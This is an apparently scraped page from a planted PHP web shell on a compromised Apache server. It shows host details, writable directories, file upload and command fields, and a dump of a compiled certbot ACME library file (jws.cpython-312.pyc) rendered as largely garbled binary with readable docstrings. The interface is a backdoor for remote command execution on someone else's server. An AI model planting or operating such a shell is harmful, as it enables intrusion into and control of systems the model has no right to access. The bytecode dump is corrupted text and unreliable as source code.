403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/certbot/current/lib/python3.12/site-packages/acme/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/current/lib/python3.12/site-packages/acme/__pycache__/jws.cpython-312.pyc
�

:Kh
���dZddlmZddlZGd�dej
�ZGd�dej�ZGd�d	ej�Zy)
z�ACME-specific JWS.

The JWS implementation in josepy only implements the base JOSE standard. In
order to support the new header fields defined in ACME, this module defines some
ACME-specific classes that layer on top of josepy.
�)�OptionalNc��eZdZUdZej
ddej��Zee	e
d<ej
dd��Zeee
d<ej
dd��Z
eee
d<ejded	e	fd
��Zy)�Headerz?ACME-specific JOSE Header. Implements nonce, kid, and url.
    �nonceT)�	omitempty�encoder�kid)r�url�value�returnc��	tj|�S#tj$r)}tjdj|���d}~wwxYw)NzInvalid nonce: {0})�jose�decode_b64jose�DeserializationError�format)r�errors  �x/build/snapcraft-certbot-96d641e948b53801324821d152d90051/parts/certbot/install/lib/python3.12/site-packages/acme/jws.pyrzHeader.noncesN��	P��&�&�u�-�-���(�(�	P��+�+�,@�,G�,G��,N�O�O��	P�s��A�$A�AN)�__name__�
__module__�__qualname__�__doc__r�field�encode_b64joserr�bytes�__annotations__r	�strr
�decoder��rrrs����'�T�Z�Z��4��I\�I\�]�E�8�E�?�]�#����E�T�:�C��#��:�#����E�T�:�C��#��:��]�]�P�S�P�U�P��Prrc��eZdZUdZej
jZeZ	ejdde	�e	j��Zee
d<y)�	SignaturezGACME-specific Signature. Uses ACME-specific Header for customer fields.�headerT)r�defaultrN)rrrrrr!�_orig_slots�	__slots__r�
header_clsr�	from_jsonr"rrrrr!r!sD��Q����*�*�I��J��T�Z�Z��D�*�,��$�$�&�F�F�&rr!c����eZdZdZeZejjZ	e
	d
dedejdejdeedeedeedejf�fd	�
�Z�xZS)�JWSzCACME-specific JWS. Includes none, url, and kid in protected header.�payload�key�algrr
r	rc
�P��|du}t�|�|||tgd��||||��S)N)rr
r	�jwkr,)r+r,�protectrr
r	�include_jwk)�super�sign�	frozenset)	�clsr*r+r,rr
r	r0�	__class__s	        �rr2zJWS.sign1s=����T�k���w�|�G��#�$-�.S�$T�"'�S�c�(3��5�	5r)NN)rrrrr!�
signature_clsrr)r$r%�classmethodr�JWK�JWASignaturerrr2�
__classcell__)r5s@rr)r),s����M��M����$�$�I��>B�5�5�5�t�x�x�5�d�6G�6G�5�PX�Y^�P_�5��3�-�5�-5�c�]�5�FJ�h�h�5��5rr))r�typingr�josepyrrr!r)rrr�<module>r=sD�����P�T�[�[�P�$	&����	&�5�$�(�(�5r

Youez - 2016 - github.com/yon3zu
LinuXploit